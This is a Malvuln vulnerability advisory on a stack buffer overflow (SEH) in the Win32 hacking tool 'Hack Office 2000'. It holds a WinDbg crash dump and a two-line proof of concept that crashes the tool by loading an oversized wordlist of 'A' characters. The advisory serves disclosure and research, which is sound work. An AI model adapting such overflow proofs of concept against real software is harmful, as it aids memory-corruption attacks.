Discovery / credits: Malvuln – malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/e60606d19a36789662ba97b4bb5c4ccf.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: HackTool.Win32.Agent.gi
Vulnerability: Local Stack Buffer Overflow (SEH)
Description: The Hack Office 2000 malware doesnt check bounds when loading textfiles for the wordlist to perform website URL cracking. Loading a specially crafted wordlist will trigger a stack buffer overflow overwriting the registers and structured exception handler (SEH).
Type: PE32
MD5: e60606d19a36789662ba97b4bb5c4ccf
Vuln ID: MVID-2021-0359
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 10/04/2021

Memory Dump:
(f98.b28): Access violation – code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77b79d70 esi=000a1828 edi=000a1cec
eip=77b5e916 esp=000a1770 ebp=000a1810 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200212
ntdll!ZwQueryInformationProcess+0x26:
77b5e916 c21400 ret 14h

0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77b79d70 esi=000a1828 edi=000a1cec
eip=77b5e916 esp=000a1770 ebp=000a1810 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200212
ntdll!ZwQueryInformationProcess+0x26:
77b5e916 c21400 ret 14h

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
+597a550
46623b9a ?? ???

EXCEPTION_RECORD: 000a1e28 — (.exr 0xa1e28)
ExceptionAddress: 00000000
ExceptionCode: 0001007f
ExceptionFlags: 00000000
NumberParameters: 0

PROCESS_NAME: HackTool.Win32.Agent.gi.e60606d19a36789662ba97b4bb5c4ccf

MODULE_NAME: unknown

FAULTING_MODULE: 77af0000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP: 0

ERROR_CODE: (NTSTATUS) 0xc0000005 – The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 – The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 000a0ff8

WRITE_ADDRESS: 000a0ff8

FOLLOWUP_IP:
+597a550
46623b9a ?? ???

FAILED_INSTRUCTION_ADDRESS:
+26
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

CONTEXT: 0019f8e8 — (.cxr 0x19f8e8)
eax=41414141 ebx=41414141 ecx=41414141 edx=41414141 esi=41414141 edi=41414141
eip=41414141 esp=41414141 ebp=41414141 iopl=0 nv up di pl zr na po cy
cs=4141 ss=4143 ds=4141 es=4141 fs=4141 gs=4141 efl=41414141
4141:41414141 ?? ???
Resetting default scope

ADDITIONAL_DEBUG_TEXT:
Use ‘!findthebuild’ command to search for the target build information.
If the build information is available, run ‘!findthebuild -s ; .reload’ to set symbol path and load symbols. ; Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 00000000 to 41414141

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_FILL_PATTERN_41414141_EXH

PRIMARY_PROBLEM_CLASS: STACKIMMUNE_EXH

DEFAULT_BUCKET_ID: STACKIMMUNE_EXH

IP_ON_STACK:
+26
41414141 ?? ???

IP_IN_FREE_BLOCK: 41414141

UNALIGNED_STACK_POINTER: 41414141

STACK_TEXT:
00000000 00000000 unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf+0x0

STACK_COMMAND: .cxr 000000000019F8E8 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME: unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf

FOLLOWUP_NAME: MachineOwner

IMAGE_NAME: unknown

FAILURE_BUCKET_ID: STACKIMMUNE_EXH_c0000005_unknown!Unloaded

BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_FILL_PATTERN_41414141_EXH_BAD_IP_unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf

Followup: MachineOwner
———

0:000> !exchain
0019e8c0: HackTool_Win32_Agent_gi+37f72 (00437f72)
0019f8e8: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
1) python -c “print(‘A’*10000)” > DOOM.txt
2) Load DOOM.txt in the vulnerable malware as wordlist for URL cracking feature.

Disclaimer: The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).